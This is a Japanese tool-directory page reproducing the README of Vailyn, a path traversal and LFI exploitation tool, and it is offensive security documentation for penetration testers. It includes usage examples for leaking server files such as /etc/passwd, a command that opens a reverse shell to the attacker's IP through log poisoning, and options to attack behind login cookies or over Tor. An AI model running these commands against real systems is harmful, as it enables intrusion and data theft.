Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Vailyn — 段階的かつ検出回避型のPath Traversal + LFIスキャン・悪用ツール(Python製) | Kitploit
ツール/GitHubGitHub/vainlystrain/vailyn
脆弱性スキャナーペイロード生成エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHubvainlystrain/vailyn

Vailyn

段階的かつ検出回避型のPath Traversal + LFIスキャン・悪用ツール(Python製)

リポジトリを見る
2002424年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有


Vailyn


フェーズ化されたパストラバーサルおよびLFI攻撃

Vailyn 3.0

v3.0以降、Vailynはフェーズ1でLFI PHPラッパーをサポートしています。スキャンに含めるには--lfiを使用してください。

概要

Vailynは、パストラバーサルおよびファイルインクルージョンの脆弱性を対象とした、多段階の脆弱性分析・悪用ツールです。可能な限り高性能に動作し、幅広いフィルター回避技術を提供するように設計されています。

どのように動作しますか?

Vailynは2つのフェーズで動作します。最初に、脆弱性が存在するかどうかを確認します。/etc/passwd(またはユーザー指定のファイル)に、すべての回避ペイロードを使ってアクセスを試みます。応答を解析し、動作したペイロードをそれ以外から分離します。

その後、ユーザーは使用するペイロードを自由に選択できます。これらのペイロードのみが第2フェーズで使用されます。

第2フェーズは悪用フェーズです。ファイル辞書とディレクトリ辞書を使用して、サーバーから可能な限り多くのファイルを漏洩しようとします。検索深度とディレクトリの順列レベルは引数で調整可能です。オプションで、発見したファイルをダウンロードして戦利品フォルダに保存できます。また、システム上でリバースシェルを取得し、攻撃者がサーバーを完全に制御できるようにすることも可能です。

現在、複数の攻撃ベクトルをサポートしています。クエリ、パス、クッキー、POSTデータを介したインジェクションです。

なぜフェーズを分けるのですか?

フェーズを分けることで、ツールのパフォーマンスを大幅に向上させています。以前のバージョンでは、すべてのファイルとディレクトリの組み合わせに対してすべてのペイロードがチェックされていました。その結果、現在のページで動作していないペイロードが常に再使用されるため、大きなオーバーヘッドが発生していました。

インストール

推奨かつテスト済みのPythonバージョンは3.7以上ですが、Python 3.5およびPython 3.6でも問題なく動作するはずです。Vailynをインストールするには、リリースタブからアーカイブをダウンロードするか、以下のコマンドを実行してください。

root@kitploit:~
$ git clone https://github.com/VainlyStrain/Vailyn

システムに配置したら、Pythonの依存関係をインストールする必要があります。

Unix系システム

Unix系システムでは、以下を実行するだけで十分です。

root@kitploit:~
$ pip install -r requirements.txt   # --user

Windows

Vailynが使用する一部のライブラリはWindowsでうまく動作しないか、インストールに失敗する場合があります。

Windowsを使用する場合は、pipを使用してVailyn\·›\requirements-windows.txtにリストされた要件をインストールしてください。

twistedのインストールが失敗する場合は、こちらで非公式バージョンが入手可能で、Windowsでビルドできるはずです。ただし、これはサードパーティのダウンロードであり、整合性が必ずしも保証されているわけではないことに注意してください。これが正常にインストールされたら、requirements-windows.txtに対してpipを再度実行すれば動作するはずです。

最終ステップ

リバースシェルモジュールを完全に使用するには、sshpass、ncat、konsoleがインストールされている必要があります。パッケージ名はLinuxディストリビューションによって異なります。Windowsでは、事前に手動でリスナーを起動する必要があります。konsoleが気に入らない場合は、core/config.pyで別のターミナルエミュレータを指定できます。

以上です!インストールディレクトリに移動して、次のコマンドを実行すればVailynを起動できます。

root@kitploit:~
$ python Vailyn -h

使用法

Vailynには3つの必須引数があります。-v VIC、-a INT、-p2 TP P1 P2です。ただし、-aの値に応じて、さらに引数が必要になる場合があります。

root@kitploit:~
   ,                \                  /               , 
     ':.             \.      /\.     ./            .:'
        ':;.          :\ .,:/   ''. /;        ..::'
           ',':.,.__.'' '          ' `:.__:''.:'
              ';..                        ,;'     *
       *         '.,                   .:'
                    `v;.            ;v'        o
              .      '  '..      :.' '     .
                     '     ':;, '    '
            o                '          .   :        
                                           *
                         | Vailyn |
                      [ VainlyStrain ]
    
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
        [-p PAM] [-i F] [-Pi VIC2]
      [-c C] [-n] [-d I J K]
       [-s T] [-t] [-L]
  [-l] [-P] [-A] 

必須:
  -v VIC, --victim VIC  攻撃対象、パート1 [ペイロード前]
  -a INT, --attack INT  攻撃タイプ (int, 1-5, またはA)

    A|  スパイダー (すべて)       2|  パス               5|  POSTデータ, json
    P|  スパイダー (部分)       3|  クッキー
    1|  クエリパラメータ        4|  POSTデータ, プレーン

  -p2 TP P1 P2, --phase2 TP P1 P2
                        フェーズ2での攻撃と必要なパラメータ

┌[ 値 ]─────────────────┬────────────────────┐
│ TP      │ P1          │ P2                 │
├─────────┼─────────────┼────────────────────┤
│ leak    │ ファイル辞書   │ ディレクトリ辞書   │
│ inject  │ IPアドレス    │ 待受ポート        │
│ implant │ ソースファイル │ サーバー上の保存先 │
└─────────┴─────────────┴────────────────────┘

追加:
  -p PAM, --param PAM   --attack 1, 4, 5 用のクエリパラメータまたはPOSTデータ
  -i F, --check F       フェーズ1でチェックするファイル (デフォルト: /etc/passwd)
  -Pi VIC2, --vic2 VIC2 攻撃対象、パート2 [ペイロード後]
  -c C, --cookie C      追加するCookie (ヘッダー形式)
  -l, --loot            発見したファイルを戦利品フォルダにダウンロード
  -d I J K, --depths I J K
                        深さ (I: フェーズ1, J: フェーズ2, K: 順列レベル)
  -h, --help            このヘルプメニューを表示して終了
  -s T, --timeout T     リクエストタイムアウト; Arjun用の安定スイッチ
  -t, --tor             Tor匿名ネットワークを介して攻撃
  -L, --lfi             PHPラッパーを使用してファイルを漏洩
  -n, --nosploit        フェーズ2をスキップ (-p2 TP P1 P2 は不要)
  -P, --precise         フェーズ1で正確な深度を使用 (範囲ではない)
  -A, --app             VailynのQt5インターフェースを起動

開発者向け:
  --debug               試行したすべてのパスを表示 (404も含む)
  --version             プログラムのバージョンを表示して終了
  --notmain            サブプロセス呼び出しでのnotify2クラッシュを回避

情報:
  絶対パスを使用してファイルを漏洩する場合: -d 0 0 0
  絶対パスを使用してシェルを取得する場合: -d 0 X 0

Vailynは現在5つの攻撃ベクトルをサポートしており、それらすべてを自動化するクローラーを提供しています。実行する攻撃は-a INT引数で指定します。

root@kitploit:~
INT        攻撃
----       -------
1          クエリベースの攻撃  (https://site.com?file=../../../)
2          パスベースの攻撃   (https://site.com/../../../)
3          クッキーベースの攻撃 (Cookieを自動取得)
4          プレーンなPOSTデータ (ELEM1=VAL1&ELEM2=../../../)
5          JSON POSTデータ      ({"file": "../../../"})
A          スパイダー           サイトからすべてのURLを取得し、全ベクトルで分析
P          部分スパイダー       サイトからすべてのURLを取得し、選択したベクトルのみで分析

また、攻撃対象を指定する必要があります。これは-v VICと-Pi VIC2で行います。-vはインジェクションポイントより前の部分、-Piはそれ以降の部分です。

例: 最終的なURLが https://site.com/download.php?file=<ATTACK>&param2=necessaryvalue となる場合、-v https://site.com/download.php と -Pi &param2=necessaryvalue を指定します (クエリ攻撃なので -p file も必要です)。

スキャンにPHPラッパー (例: php://filter) を含めたい場合は、--lfi引数を使用します。フェーズ1の終了時に、動作したラッパーを含む追加の選択メニューが表示されます (存在する場合)。

攻撃対象のサイトがログインページの背後にある場合は、-c COOKIE で認証クッキーを指定できます。Tor経由で攻撃する場合は --tor を使用します。

フェーズ1

これは分析フェーズであり、動作するペイロードとそうでないものを分離します。

デフォルトでは /etc/passwd が検索されます。サーバーがLinuxではない場合、-i FILENAME でカスタムファイルを指定できます。FILENAMEにはサブディレクトリを含める必要があることに注意してください。 検索深度は -d の最初の値で変更できます (デフォルト=8)。 絶対パスを使用する場合は、最初の深度を0に設定します。

フェーズ2

これは悪用フェーズであり、Vailynはできるだけ多くのファイルを漏洩しようとするか、様々な技術を使用してリバースシェルを取得します。

フェーズ2の検索深度 (戻る最大レイヤー数) は -d 引数の2番目の値で指定します。サブディレクトリの順列レベルは -d の3番目の値で設定します。

絶対パスで攻撃し、漏洩攻撃を実行する場合、すべての深度を0に設定します。リバースシェルを取得したい場合は、2番目の深度が0より大きいことを確認してください。

-l を指定すると、Vailynはファイルを端末に表示するだけでなく、ダウンロードして戦利品フォルダに保存します。

詳細な出力 (発見したファイルだけでなくすべての出力を表示) が必要な場合は、--debug を使用できます。ただし、出力は非常に乱雑になるため、これは基本的にデバッグ用のヘルプです。

ブルートフォース攻撃を実行するには、-p2 leak FIL PATH を指定します。ここで

  • FIL は ファイル名のみ を含む辞書ファイルです (例: index.php)
  • PATH は ディレクトリ名のみ を含む辞書ファイルです。Vailynがディレクトリの順列を処理するため、1行に1つのディレクトリのみが必要です。

コードインジェクションによるリバースシェルを取得するには、-p2 inject IP PORT を使用します。ここで

  • IP はあなたの待受IPアドレス
  • PORT は待受ポートです。

警告

Vailynはログポイズニング技術を使用します。そのため、指定したIPがサーバーログに表示されます。

技術 (LFIインクルージョンでのみ動作):

  • /proc/self/environ インクルージョン (古いサーバーでのみ動作)
  • Apache + Nginx ログポイズニング & インクルージョン
  • SSH ログポイズニング
  • poisoned mail インクルージョン
  • ラッパー
    • expect://
    • data:// (プレーンおよびb64)
    • php://input

誤検出防止

実際の結果と誤検出を区別するために、Vailynは以下のチェックを行います:

  • 応答のステータスコードを確認
  • 応答が攻撃開始前に取得したものと同一でないか確認: サーバーが200を返すがペイロード入力を無視する場合や、ファイルが見つからない場合にデフォルトページを返す場合などに有効
  • #2と同様に、クエリGETパラメータ処理の追加チェック (必要なパラメータが不足しているというエラーをサーバーが返す場合に有効)
  • 空の応答を確認
  • 応答内容に一般的なエラーシグネチャが含まれていないか確認
  • ペイロードが応答に含まれていないか確認: サーバーが存在しないファイルに対して200を返し、ペイロードをメッセージに反映する場合の追加チェック (例: ../../secret not found)
  • 全体の応答が初期チェック応答に含まれていないか確認: サーバーがデフォルトのインクルードを持ち、404の場合にそれが消える場合に有効
  • -a 2 の場合、応答内容がサーバールートURLの内容と一致するか追加チェック
  • /etc/passwd を検索ファイルとして使用する場合、正規表現チェック

例

  • シンプルなクエリ攻撃、フェーズ2でファイル漏洩: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT

  • クエリ攻撃、ただしインクルージョンポイントの正確に2階層上に file.php が存在することがわかっている場合: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P これにより、標的型攻撃となるためフェーズ1の所要時間が大幅に短縮されます。

  • シンプルなパス攻撃: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT

  • パス攻撃、ただしクエリパラメータとタグが必要な場合: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title

  • シンプルなクッキー攻撃: $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs Cookieを取得し、ポイズンするCookieを選択できます。

  • POSTプレーン攻撃: $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT" DATA2にペイロードを注入します。

  • POST JSON攻撃: $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'

  • 攻撃対象がログイン画面の背後にある場合: $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"

  • ポート1337でリバースシェルを取得したい場合: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # ログインジェクションには高いフェーズ2深度が必要 (Unixの場合、ncatリスナーが自動起動されます)

  • クローラーモードでの完全自動化: $ Vailyn -v "http://root-url.site" -a A ここで他の引数 (cookie, depths, lfi, lookup fileなど) も指定可能

  • 完全自動化、ただしArjunに --stable が必要な場合: $ Vailyn -v "http://root-url.site" -a A -s ANY

デモ

asciicast Vailynのクローラーが、脆弱なWebアプリケーションを分析しています。LFIラッパーは有効になっていません。

GUIデモンストレーション (v2.2.1-5)

考えられる問題

誤検出/未検出 (またはその他のバグや改善点) を見つけた場合は、issueを報告してください!

行動規範

Vailynは攻撃的なWebアプリケーション監査ツールとして提供されています。組み込みの機能により、Webアプリケーションの潜在的な脆弱性を明らかにできますが、悪意を持って悪用される可能性もあります。

したがって、作者および貢献者は、このツールキットの誤用や損害について一切の責任を負いません。

本ソフトウェアを使用することにより、ユーザーは現地の法律に従い、所有者の明示的な許可なしに他人のシステムを攻撃したり、悪意を持って使用したりしないことに同意したものとみなされます。

違反があった場合、その行為を行ったエンドユーザーのみがその責任を負います。

クレジットと著作権

Vailyn: Copyright © VainlyStrain

Arjun: Copyright © s0md3v

ArjunはVailynに同梱されなくなりました。pipで最新バージョンをインストールしてください。

ツールをダウンロード